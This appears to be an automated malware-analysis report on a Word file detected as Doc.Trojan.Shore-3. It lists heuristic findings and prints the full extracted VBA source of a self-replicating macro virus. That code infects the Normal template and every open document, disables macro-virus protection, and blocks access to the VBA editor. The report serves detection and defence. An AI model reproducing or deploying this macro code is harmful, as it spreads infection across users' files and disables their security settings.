MALICIOUS
256
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The file is identified as malicious by ClamAV with the signature Doc.Trojan.Shore-3. It contains VBA macros, including AutoOpen and AutoClose, which are commonly used to execute malicious code upon document opening or closing. The 'buggy' subroutine attempts to manipulate document properties, which can be a precursor to further malicious actions.
Heuristics 6
-
ClamAV: Doc.Trojan.Shore-3 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Shore-3
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
.deletelines 1, .countoflines -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 32677 bytes |
SHA-256: 5a494545ca309f0bb5b51f44c901f1c70130ccd36202e8082d47493792180070 |
|||
|
Detection
ClamAV:
Doc.Trojan.Shore-3
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Offee"
Public Const SeriesNumber = 990907
Public Const ModuleName = "Offee", mw = "Microsoft Word", _
SerNum$ = "Series Number", _
pass = "Password : ", _
scrollCap = "Normal." & ModuleName & ".scrollCaption"
Public anCap As String, anInt As Single, anPos As Integer, Animated As Boolean, _
ToolsOptionsDlg As Dialog, _
OrganizerDlg As Dialog, _
ToolsTemplatesDlg As Dialog, _
ToolsMacrosDlg As Dialog, _
FormatStyleDlg As Dialog
'procedures in Offe module
Sub buggy()
Dim aDocProp As DocumentProperty
For Each aDocProp In NormalTemplate.CustomDocumentProperties
aDocProp.Delete
Next aDocProp
NormalTemplate.CustomDocumentProperties.Add _
Name:=SerNum$, _
Type:=msoPropertyTypeNumber, _
Value:=SeriesNumber, _
LinkToContent:=False
End Sub
Function getDocPropExist(theObject As Object) As Boolean
Dim adp As DocumentProperty
getDocPropExist = False
For Each adp In theObject.CustomDocumentProperties
With adp
If .Name = SerNum$ And .Type = msoPropertyTypeNumber And _
.Value = SeriesNumber Then
getDocPropExist = True
Exit Function
End If
End With
Next adp
End Function
Function getModuleExist(theObject As Object) As Boolean
Dim aDocProp As DocumentProperty
getModuleExist = False
For Each anObject In theObject.VBProject.VBComponents
If anObject.Name = ModuleName Then
getModuleExist = True
Exit Function
End If
Next anObject
End Function
Function getInfected(theObject As Object) As Boolean
getInfected = getModuleExist(theObject) And getDocPropExist(theObject)
End Function
Sub clearMacros(theObject As Object)
Dim aDocProp As DocumentProperty
For Each anObject In theObject.VBProject.VBComponents
If anObject.Name <> "ThisDocument" Then
Application.OrganizerDelete Source:=theObject.FullName, _
Name:=anObject.Name, Object:=wdOrganizerObjectProjectItems
Else
On Error Resume Next
With anObject.codemodule
.deletelines 1, .countoflines
End With
End If
Next anObject
For Each aDocProp In theObject.CustomDocumentProperties
aDocProp.Delete
Next aDocProp
End Sub
Sub copyMacros(theSource As Object, theDestination As Object)
Dim aDocProp As DocumentProperty
If Not getDocPropExist(theDestination) Then _
theDestination.CustomDocumentProperties.Add _
Name:=SerNum$, _
Type:=msoPropertyTypeNumber, _
Value:=SeriesNumber, _
LinkToContent:=False
On Error Resume Next
Application.OrganizerCopy _
Source:=theSource.FullName, _
Destination:=theDestination.FullName, _
Name:=ModuleName, _
Object:=wdOrganizerObjectProjectItems
End Sub
Sub Infecting(theSource As Object, theDestination As Object)
On Error Resume Next
If Not getInfected(theDestination) Then
Application.OrganizerRename _
Source:=theDestination.FullName, _
Name:=ModuleName, newname:="xxxx", _
Object:=wdOrganizerObjectProjectItems
clearMacros theDestination
copyMacros theSource, theDestination
On Error Resume Next
theDestination.Save True
End If
End Sub
Sub Copy2Normal()
Dim ATemp As Template
Stealth
If Documents.Count > 0 Then
Infecting activeDocument, NormalTemplate
If activeDocument.AttachedTemplate <> NormalTemplate Then _
Infecting activeDocument, activeDocument.AttachedTemplate
For Each ATemp In Templates
Infecting activeDocument, ATemp
Next ATemp
End If
With NormalTemplate.VBProject.VBComponents(1).codemodule
.deletelines 1, .countoflines
End With
End Sub
Sub Copy2Document()
Dim aDoc As Document
Stealth
For Each aDoc In Documents
Infecting NormalTemplate, aDoc
On Error Resume Next
WordBasic.viewpage
Next aDoc
If Documents.Count > 0 Then _
If activeDocument.AttachedTemplate <> NormalTemplate Then _
Infecting NormalTemplate, activeDocument.AttachedTemplate
End Sub
Sub Jump2Normal(macName As String)
Application.Run "normal." & ModuleName & "." & macName
End Sub
'infection procedures
Sub AutoOpen()
Stealth
WordBasic.DisableAutoMacros True
If getModuleExist(NormalTemplate) Then
Jump2Normal ("Copy2Document")
If Documents.Count > 0 Then
On Error Resume Next
activeDocument.Save
End If
Else
Copy2Normal
On Error Resume Next
NormalTemplate.Save
End If
End Sub
Sub FileOpen()
Stealth
WordBasic.DisableAutoMacros True
AnimateCaption
On Error Resume Next
If Dialogs(wdDialogFileOpen).Show <> 0 Then
AutoOpen
On Error Resume Next
activeDocument.Saved = True
activeDocument.Save
End If
WordBasic.DisableAutoMacros False
End Sub
Sub AutoClose()
AnimateCaption
Stealth
On Error Resume Next
' AutoOpen
Copy2Document
If Not activeDocument.Saved And activeDocument.Characters.Count > 0 Then activeDocument.Save
activeDocument.Saved = True
ModifyAttr activeDocument.FullName
End Sub
Sub FileClose()
Dim afn As String
AnimateCaption
WordBasic.DisableAutoMacros True
On Error Resume Next
AutoClose
afn = activeDocument.FullName
activeDocument.Close
ModifyAttr afn
WordBasic.DisableAutoMacros False
End Sub
Sub FileSave()
AnimateCaption
WordBasic.DisableAutoMacros True
Copy2Document
On Error Resume Next
With activeDocument
.Save
.Saved = True
End With
WordBasic.DisableAutoMacros False
End Sub
Sub InitDialog()
Stealth
Application.DisplayAlerts = wdAlertsNone
On Error Resume Next
Set ToolsOptionsDlg = Dialogs(wdDialogToolsOptions)
Set OrganizerDlg = Dialogs(wdDialogOrganizer)
Set ToolsTemplatesDlg = Dialogs(wdDialogToolsTemplates)
Set ToolsMacrosDlg = Dialogs(wdDialogToolsMacro)
Set FormatStyleDlg = Dialogs(wdDialogFormatStyle)
CommandBars("Visual Basic").Visible = False
CommandBars("Visual Basic").Enabled = False
CommandBars("Visual Basic").Protection = msoBarNoChangeVisible
CommandBars("Visual Basic").Protection = msoBarNoCustomize
On Error Resume Next
FindKey(BuildKeyCode(wdKeyF11, wdKeyAlt)).Disable
FindKey(BuildKeyCode(wdKeyF8, wdKeyAlt)).Disable
End Sub
Sub AutoExec()
Dim Combar As CommandBar
WordBasic.DisableAutoMacros True
InitDialog
Animated = False
AnimateCaption
Copy2Normal
If getInfected(NormalTemplate) Then Copy2Document
ModifyAttr NormalTemplate.FullName
buggy
For Each Combar In Application.CommandBars
Next Combar
End Sub
Sub AutoExit()
AutoOpen
AnimateCaption
ModifyAttr NormalTemplate.FullName
End Sub
Sub fileNewDefault()
AnimateCaption
WordBasic.fileNewDefault
Copy2Document
End Sub
Sub FileNew()
If Dialogs(wdDialogFileNew).Show <> 0 Then
AnimateCaption
Copy2Document
End If
End Sub
Sub Stealth()
With Options
.SaveNormalPrompt = False
.SavePropertiesPrompt = False
.VirusProtection = False
End With
End Sub
Sub NoStealth()
With Options
.SaveNormalPrompt = True
.SavePropertiesPrompt = True
.VirusProtection = True
End With
End Sub
Sub ToolsOptions()
InitDialog
NoStealth
On Error Resume Next
ToolsOptionsDlg.Display
AnimateCaption
Stealth
End Sub
Sub NoAccess()
a = MsgBox(msg, vbExclamation, abadacc)
AnimateCaption
End Sub
Function passDialog() As Boolean
Dim cruel As String
passDialog = False
cruel = ccc + Mid(code, 9, 2)
If LCase(InputBox(pass, badboy)) = cruel Then
passDialog = True
Else
NoAccess
End If
End Function
Sub ToolsMacro()
InitDialog
ToolsMacrosDlg.Display
AnimateCaption
End Sub
Sub FileTemplates()
InitDialog
ToolsTemplatesDlg.Display
' CustomizationContext = NormalTemplate
AnimateCaption
End Sub
Sub viewvbcode()
Application.ShowVisualBasicEditor = passDialog
End Sub
Sub viewcode()
viewvbcode
End Sub
Sub Organizer()
InitDialog
OrganizerDlg.Display
AnimateCaption
End Sub
Sub FormatStyle()
InitDialog
With FormatStyleDlg
.Display
.Execute
End With
AnimateCaption
End Sub
Sub ModifyAttr(fileName As String)
On Error Resume Next
If GetAttr(fileName) <> vbArchive Then SetAttr fileName, vbArchive
End Sub
Sub AnimateCaption()
On Error Resume Next
WordBasic.viewpage
If Animated Then Exit Sub
anIntv = 0.5
anPos = 0
anCap = OFC
Application.OnTime Now + TimeSerial(0, 0, 3), scrollCap
Animated = True
End Sub
Sub ScrollCaption()
If Animated Then
Application.Caption = Right$(anCap, anPos)
Application.OnTime Now + TimeSerial(0, 0, anIntv), scrollCap
anPos = anPos + 1
End If
If anPos > Len(anCap) Then
On Error Resume Next
WordBasic.viewpage
anPos = 0
If anCap = OFC Then
anCap = Peace
Application.OnTime Now + TimeSerial(0, 0, 5), scrollCap
Animated = True
ElseIf anCap = Peace Then
anCap = mw
Application.OnTime Now + TimeSerial(0, 0, 5), scrollCap
Animated = True
ElseIf anCap = mw Then
anCap = OFC
Application.OnTime Now + TimeSerial(0, 0, 1200), scrollCap
Animated = False
End If
End If
End Sub
' Processing file: /tmp/qstore_qfhl4pch
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1280 bytes
' Macros/VBA/Offee - 27898 bytes
' Line #0:
' Dim (Public Const)
' LitDI4 0x1EBB 0x000F
' VarDefn SeriesNumber
' Line #1:
' LineCont 0x000C 0A 00 08 00 0E 00 08 00 12 00 08 00
' Dim (Public Const)
' LitStr 0x0005 "Offee"
' VarDefn ModuleName
' LitStr 0x000E "Microsoft Word"
' VarDefn mw
' LitStr 0x000D "Series Number"
' VarDefn SerNum
' LitStr 0x000B "Password : "
' VarDefn pass
' LitStr 0x0007 "Normal."
' Ld ModuleName
' Concat
' LitStr 0x000E ".scrollCaption"
' Concat
' VarDefn scrollCap
' Line #2:
' Line #3:
' LineCont 0x0014 11 00 08 00 15 00 08 00 19 00 08 00 1D 00 08 00 21 00 08 00
' Dim (Public)
' VarDefn anCap (As String)
' VarDefn anInt (As Single)
' VarDefn anPos (As Integer)
' VarDefn Animated (As Boolean)
' VarDefn ToolsOptionsDlg
' VarDefn OrganizerDlg
' VarDefn ToolsTemplatesDlg
' VarDefn ToolsMacrosDlg
' VarDefn FormatStyleDlg
' Line #4:
' Line #5:
' QuoteRem 0x0000 0x0019 "procedures in Offe module"
' Line #6:
' FuncDefn (Sub buggy())
' Line #7:
' Dim
' VarDefn aDocProp (As DocumentProperty)
' Line #8:
' StartForVariable
' Ld aDocProp
' EndForVariable
' Ld NormalTemplate
' MemLd CustomDocumentProperties
' ForEach
' Line #9:
' Ld aDocProp
' ArgsMemCall Delete 0x0000
' Line #10:
' StartForVariable
' Ld aDocProp
' EndForVariable
' NextVar
' Line #11:
' Line #12:
' LineCont 0x0010 05 00 0C 00 09 00 0C 00 0D 00 0C 00 11 00 0C 00
' Ld SerNum$
' ParamNamed New
' Ld msoPropertyTypeNumber
' ParamNamed TypeOf
' Ld SeriesNumber
' ParamNamed Value
' LitVarSpecial (False)
' ParamNamed LinkToContent
' Ld NormalTemplate
' MemLd CustomDocumentProperties
' ArgsMemCall Add 0x0004
' Line #13:
' EndSub
' Line #14:
' Line #15:
' Line #16:
' FuncDefn (Function getDocPropExist(theObject As Object) As Boolean)
' Line #17:
' Dim
' VarDefn adp (As DocumentProperty)
' Line #18:
' LitVarSpecial (False)
' St getDocPropExist
' Line #19:
' StartForVariable
' Ld adp
' EndForVariable
' Ld theObject
' MemLd CustomDocumentProperties
' ForEach
' Line #20:
' StartWithExpr
' Ld adp
' With
' Line #21:
' LineCont 0x0004 0B 00 0C 00
' MemLdWith New
' Ld SerNum$
' Eq
' MemLdWith TypeOf
' Ld msoPropertyTypeNumber
' Eq
' And
' MemLdWith Value
' Ld SeriesNumber
' Eq
' And
' IfBlock
' Line #22:
' LitVarSpecial (True)
' St getDocPropExist
' Line #23:
' ExitFunc
' Line #24:
' EndIfBlock
' Line #25:
' EndWith
' Line #26:
' StartForVariable
' Ld adp
' EndForVariable
' NextVar
' Line #27:
' EndFunc
' Line #28:
' Line #29:
' FuncDefn (Function getModuleExist(theObject As Object) As Boolean)
' Line #30:
' Dim
' VarDefn aDocProp (As DocumentProperty)
' Line #31:
' LitVarSpecial (False)
' St getModuleExist
' Line #32:
' StartForVariable
' Ld anObject
' EndForVariable
' Ld theObject
' MemLd VBProject
' MemLd VBComponents
' ForEach
' Line #33:
' Ld anObject
' MemLd New
' Ld ModuleName
' Eq
' IfBlock
' Line #34:
' LitVarSpecial (True)
' St getModuleExist
' Line #35:
' ExitFunc
' Line #36:
' EndIfBlock
' Line #37:
' StartForVariable
' Ld anObject
' EndForVariable
' NextVar
' Line #38:
' EndFunc
' Line #39:
' Line #40:
' FuncDefn (Function getInfected(theObject As Object) As Boolean)
' Line #41:
' Ld theObject
' ArgsLd getModuleExist 0x0001
' Ld theObject
' ArgsLd getDocPropExist 0x0001
' And
' St getInfected
' Line #42:
' EndFunc
' Line #43:
' Line #44:
' FuncDefn (Sub clearMacros(theObject As Object))
' Line #45:
' Dim
' VarDefn aDocProp (As DocumentProperty)
' Line #46:
' StartForVariable
' Ld anObject
' EndForVariable
' Ld theObject
' MemLd VBProject
' MemLd VBComponents
' ForEach
' Line #47:
' Ld anObject
' MemLd New
' LitStr 0x000C "ThisDocument"
' Ne
' IfBlock
' Line #48:
' LineCont 0x0004 09 00 0C 00
' Ld theObject
' MemLd FullName
' ParamNamed Source
' Ld anObject
' MemLd New
' ParamNamed New
' Ld wdOrganizerObjectProjectItems
' ParamNamed On
' Ld Application
' ArgsMemCall OrganizerDelete 0x0003
' Line #49:
' ElseBlock
' Line #50:
' OnError (Resume Next)
' Line #51:
' StartWithExpr
' Ld anObject
' MemLd codemodule
' With
' Line #52:
' LitDI2 0x0001
' MemLdWith countoflines
' ArgsMemCallWith deletelines 0x0002
' Line #53:
' EndWith
' Line #54:
' EndIfBlock
' Line #55:
' StartForVariable
' Ld anObject
' EndForVariable
' NextVar
' Line #56:
' Line #57:
' StartForVariable
' Ld aDocProp
' EndForVariable
' Ld theObject
' MemLd CustomDocumentProperties
' ForEach
' Line #58:
' Ld aDocProp
' ArgsMemCall Delete 0x0000
' Line #59:
' StartForVariable
' Ld aDocProp
' EndForVariable
' NextVar
' Line #60:
' EndSub
' Line #61:
' Line #62:
' FuncDefn (Sub copyMacros(theSource As Object, theDestination As Object))
' Line #63:
' Dim
' VarDefn aDocProp (As DocumentProperty)
' Line #64:
' LineCont 0x0014 07 00 08 00 0C 00 0C 00 10 00 0C 00 14 00 0C 00 18 00 0C 00
' Ld theDestination
' ArgsLd getDocPropExist 0x0001
' Not
' If
' BoSImplicit
' Ld SerNum$
' ParamNamed New
' Ld msoPropertyTypeNumber
' ParamNamed TypeOf
' Ld SeriesNumber
' ParamNamed Value
' LitVarSpecial (False)
' ParamNamed LinkToContent
' Ld theDestination
' MemLd CustomDocumentProperties
' ArgsMemCall Add 0x0004
' EndIf
' Line #65:
' Line #66:
' OnError (Resume Next)
' Line #67:
' LineCont 0x0010 03 00 0C 00 09 00 0C 00 0F 00 0C 00 13 00 0C 00
' Ld theSource
' MemLd FullName
' ParamNamed Source
' Ld theDestination
' MemLd FullName
' ParamNamed Destination
' Ld ModuleName
' ParamNamed New
' Ld wdOrganizerObjectProjectItems
' ParamNamed On
' Ld Application
' ArgsMemCall OrganizerCopy 0x0004
' Line #68:
' EndSub
' Line #69:
' Line #70:
' FuncDefn (Sub Infecting(theSource As Object, theDestination As Object))
' Line #71:
' OnError (Resume Next)
' Line #72:
' Ld theDestination
' ArgsLd getInfected 0x0001
' Not
' IfBlock
' Line #73:
' LineCont 0x000C 03 00 0C 00 09 00 0C 00 11 00 0C 00
' Ld theDestination
' MemLd FullName
' ParamNamed Source
' Ld ModuleName
' ParamNamed New
' LitStr 0x0004 "xxxx"
' ParamNamed newname
' Ld wdOrganizerObjectProjectItems
' ParamNamed On
' Ld Application
' ArgsMemCall OrganizerRename 0x0004
' Line #74:
' Ld theDestination
' ArgsCall clearMacros 0x0001
' Line #75:
' Ld theSource
' Ld theDestination
' ArgsCall copyMacros 0x0002
' Line #76:
' OnError (Resume Next)
' Line #77:
' LitVarSpecial (True)
' Ld theDestination
' ArgsMemCall Save 0x0001
' Line #78:
' EndIfBlock
' Line #79:
' EndSub
' Line #80:
' Line #81:
' FuncDefn (Sub Copy2Normal())
' Line #82:
' Dim
' VarDefn ATemp (As Template)
' Line #83:
' ArgsCall Stealth 0x0000
' Line #84:
' Ld Documents
' MemLd Count
' LitDI2 0x0000
' Gt
' IfBlock
' Line #85:
' Ld activeDocument
' Ld NormalTemplate
' ArgsCall Infecting 0x0002
' Line #86:
' LineCont 0x0004 07 00 0C 00
' Ld activeDocument
' MemLd AttachedTemplate
' Ld NormalTemplate
' Ne
' If
' BoSImplicit
' Ld activeDocument
' Ld activeDocument
' MemLd AttachedTemplate
' ArgsCall Infecting 0x0002
' EndIf
' Line #87:
' StartForVariable
' Ld ATemp
' EndForVariable
' Ld Templates
' ForEach
' Line #88:
' Ld activeDocument
' Ld ATemp
' ArgsCall Infecting 0x0002
' Line #89:
' StartForVariable
' Ld ATemp
' EndForVariable
' NextVar
' Line #90:
' EndIfBlock
' Line #91:
' Line #92:
' StartWithExpr
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' ArgsMemLd VBComponents 0x0001
' MemLd codemodule
' With
' Line #93:
' LitDI2 0x0001
' MemLdWith countoflines
' ArgsMemCallWith deletelines 0x0002
' Line #94:
' EndWith
' Line #95:
' EndSub
' Line #96:
' Line #97:
' FuncDefn (Sub Copy2Document())
' Line #98:
' Dim
' VarDefn aDoc (As Document)
' Line #99:
' ArgsCall Stealth 0x0000
' Line #100:
' StartForVariable
' Ld aDoc
' EndForVariable
' Ld Documents
' ForEach
' Line #101:
' Ld NormalTemplate
' Ld aDoc
' ArgsCall Infecting 0x0002
' Line #102:
' OnError (Resume Next)
' Line #103:
' Ld WordBasic
' ArgsMemCall viewpage 0x0000
' Line #104:
' StartForVariable
' Ld aDoc
' EndForVariable
' NextVar
' Line #105:
' LineCont 0x0008 07 00 04 00 0E 00 08 00
' Ld Documents
' MemLd Count
' LitDI2 0x0000
' Gt
' If
' BoSImplicit
' Ld activeDocument
' MemLd AttachedTemplate
' Ld NormalTemplate
' Ne
' If
' BoSImplicit
' Ld NormalTemplate
' Ld activeDocument
' MemLd AttachedTemplate
' ArgsCall Infecting 0x0002
' EndIf
' EndIf
' Line #106:
' EndSub
' Line #107:
' Line #108:
' FuncDefn (Sub Jump2Normal(macName As String))
' Line #109:
' LitStr 0x0007 "normal."
' Ld ModuleName
' Concat
' LitStr 0x0001 "."
' Concat
' Ld macName
' Concat
' Ld Application
' ArgsMemCall Run 0x0001
' Line #110:
' EndSub
' Line #111:
' Line #112:
' QuoteRem 0x0000 0x0014 "infection procedures"
' Line #113:
' FuncDefn (Sub AutoOpen())
' Line #114:
' ArgsCall Stealth 0x0000
' Line #115:
' LitVarSpecial (True)
' Ld WordBasic
' ArgsMemCall DisableAutoMacros 0x0001
' Line #116:
' Line #117:
' Ld NormalTemplate
' ArgsLd getModuleExist 0x0001
' IfBlock
' Line #118:
' LitStr 0x000D "Copy2Document"
' Paren
' ArgsCall Jump2Normal 0x0001
' Line #119:
' Ld Documents
' MemLd Count
' LitDI2 0x0000
' Gt
' IfBlock
' Line #120:
' OnError (Resume Next)
' Line #121:
' Ld activeDocument
' ArgsMemCall Save 0x0000
' Line #122:
' EndIfBlock
' Line #123:
' ElseBlock
' Line #124:
' ArgsCall Copy2Normal 0x0000
' Line #125:
' OnError (Resume Next)
' Line #126:
' Ld NormalTemplate
' ArgsMemCall Save 0x0000
' Line #127:
' EndIfBlock
' Line #128:
' EndSub
' Line #129:
' Line #130:
' FuncDefn (Sub FileOpen())
' Line #131:
' ArgsCall Stealth 0x0000
' Line #132:
' LitVarSpecial (True)
' Ld WordBasic
' ArgsMemCall DisableAutoMacros 0x0001
' Line #133:
' ArgsCall AnimateCaption 0x0000
' Line #134:
' Line #135:
' OnError (Resume Next)
' Line #136:
' Ld wdDialogFileOpen
' ArgsLd Dialogs 0x0001
' MemLd Show
' LitDI2 0x0000
' Ne
' IfBlock
' Line #137:
' ArgsCall AutoOpen 0x0000
' Line #138:
' OnError (Resume Next)
' Line #139:
' LitVarSpecial (True)
' Ld activeDocument
' MemSt Saved
' Line #140:
' Ld activeDocument
' ArgsMemCall Save 0x0000
' Line #141:
' EndIfBlock
' Line #142:
' LitVarSpecial (False)
' Ld WordBasic
' ArgsMemCall DisableAutoMacros 0x0001
' Line #143:
' EndSub
' Line #144:
' Line #145:
' FuncDefn (Sub AutoClose())
' Line #146:
' ArgsCall AnimateCaption 0x0000
' Line #147:
' ArgsCall Stealth 0x0000
' Line #148:
' OnError (Resume Next)
' Line #149:
' QuoteRem 0x0000 0x000C " AutoOpen"
' Line #150:
' ArgsCall Copy2Document 0x0000
' Line #151:
' Ld activeDocument
' MemLd Saved
' Not
' Ld activeDocument
' MemLd Characters
' MemLd Count
' LitDI2 0x0000
' Gt
' And
' If
' BoSImplicit
' Ld activeDocument
' ArgsMemCall Save 0x0000
' EndIf
' Line #152:
' LitVarSpecial (True)
' Ld activeDocument
' MemSt Saved
' Line #153:
' Ld activeDocument
' MemLd FullName
' ArgsCall ModifyAttr 0x0001
' Line #154:
' EndSub
' Line #155:
' Line #156:
' FuncDefn (Sub FileClose())
' Line #157:
' Dim
' VarDefn afn (As String)
' Line #158:
' ArgsCall AnimateCaption 0x0000
' Line #159:
' LitVarSpecial (True)
' Ld WordBasic
' ArgsMemCall DisableAutoMacros 0x0001
…
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.